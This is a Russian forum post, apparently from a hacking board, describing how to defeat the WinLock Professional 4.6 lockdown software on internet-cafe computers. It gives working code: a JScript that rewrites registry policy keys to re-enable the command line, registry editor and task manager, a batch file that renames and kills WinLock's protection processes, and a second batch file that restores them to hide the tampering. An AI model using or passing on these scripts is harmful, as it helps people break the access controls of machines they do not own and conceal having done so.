На днях в интернет-кафе столкнулся с такой противной программулиной WinLock Professional 4.6 (О ней упоминали вот здесь http://forum.antichat.ru/thread48982.html). Парился целый час, но потушить ее так и не удалось. Решение пришло уже дома, когда скачал последнюю версию программы с официального сайта http://www.crystaloffice.com/ru и начал эксперименты в более благоприятных условиях. Оно оказалось очень простым, но я все же решил поделиться им, может кому пригодиться.
Настройка программы админом заключается в расстановке флажков:
Вкладка Общие.
Защита:
Включить защиту;
Настройки:
Включить защиту при загрузке;
Мониторинг системы;
Защита от выгрузки;
Вкладка Система.
Безопасность:
Скрывать свойство папки;
Скрывать свойство дисплея;
Запретить обновление Windows;
Запретить редактор реестра;
Запретить диспетчер задач;
Запретить смену пароля;
Запретить консоль cmd.exe;
Запретить безопасный режим;
Запретить панель управления;
Запретить блокировку компьютера;
Запретить установку и удаление программ;
Меню Пуск и панель задач:
Снимаем галочку с пункта Выполнить;
Снимаем галочку с пункта Смена пользователя;
Запретить настройку панели задач;
Рабочий стол:
Запретить Active Desktop;
Запретить переименование ярлыков на рабочем столе;
Запретить фоновый рисунок HTML;
Запретить изменение фонового рисунка;
Диски:
Снимаем галочку с системного диска в нашем случае это диск C:\
Файл: здесь добавляем следующий файл
C:\WINDOWS\system32\gpedit.msc
Галочку разрешить чтение не ставить! Жмем OK. Итак прога настроена и готова к обороне... И так приступим...
В более ранних версиях вобще отсутствовал какой либо контроль за состоянием процесса и его можно было выгрузить любым сторонним диспетчером задач, также отсутствовал надзор за изменением реестра. В версии 4.6 эти недостатки были исправлены однако не пользы от этого больше не стало. Наша цель выгрузить процесс WinLock'a, а точнее процессы: wlg.exe и winlock.exe. Функции первого и есть защита от выгрузки второго процесса =).
Пишем скрипт на jscript (или vbs кому как нравиться) и сохраняем как go.js:
Код:
var WSHShell = WScript.CreateObject("WScript.Shell");
// Так как не проверяется тип ключа, а только его наличие изменяем
// его тип с DWORD на REG_SZ и включаем обработку bat файлов)
WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD","Fuck!");
// Дублирование необходимо
// При желании здесь можно выставить небольшую задержку
WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD","Fuck!");
WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD","Fuck!");
// Запустим батник который выгрузит процессы WinLok'a
WSHShell.Run("kill.bat");
WScript.Sleep(1000);
// Теперь можно делать с виндой все что не взбредет в голову
// Включаем свойство папки
WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFolderOptions",0,"REG_DWORD");
WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFolderOptions",0,"REG_DWORD");
// Разрешаем редактор реестра
WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system\\DisableRegistryTools",0,"REG_DWORD");
WSHShell.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\system\\DisableRegistryTools",0,"REG_DWORD");
// Включаем диспетчер задач
WSHShell.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr",0,"REG_DWORD");
WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr",0,"REG_DWORD");
Пишем вот такой батник kill.bat
Код:
rename "C:\Program Files\WinLockPro\wlg.exe" die.exe
taskkill /IM wlg.exe /T /F
rename "C:\Program Files\WinLockPro\winlock.exe" die_.exe
taskkill /IM winlock.exe /T /F
Теперь в твоем распоряжении командная строка, редактор реестра,диспетчер задач - вобщем полный боекомплект =) осталось только добавить немного фантазии...
Как все свои дела сделал обязательно уберись за собой =) по отношению к винлоку делается это опять таки с помощью батника:
Код:
rename "C:\Program Files\WinLockPro\die.exe" wlg.exe
rename "C:\Program Files\WinLockPro\die_.exe" winlock.exe
start "C:\Program Files\WinLockPro\wlg.exe"
start "C:\Program Files\WinLockPro\winlock.exe"
Вот собственно и все )))
WinLock Professional
в конце концов ничего не мешает взять сторонний редактор реестра и вклбчить обработку js.
Похожие темы
Линейный вид
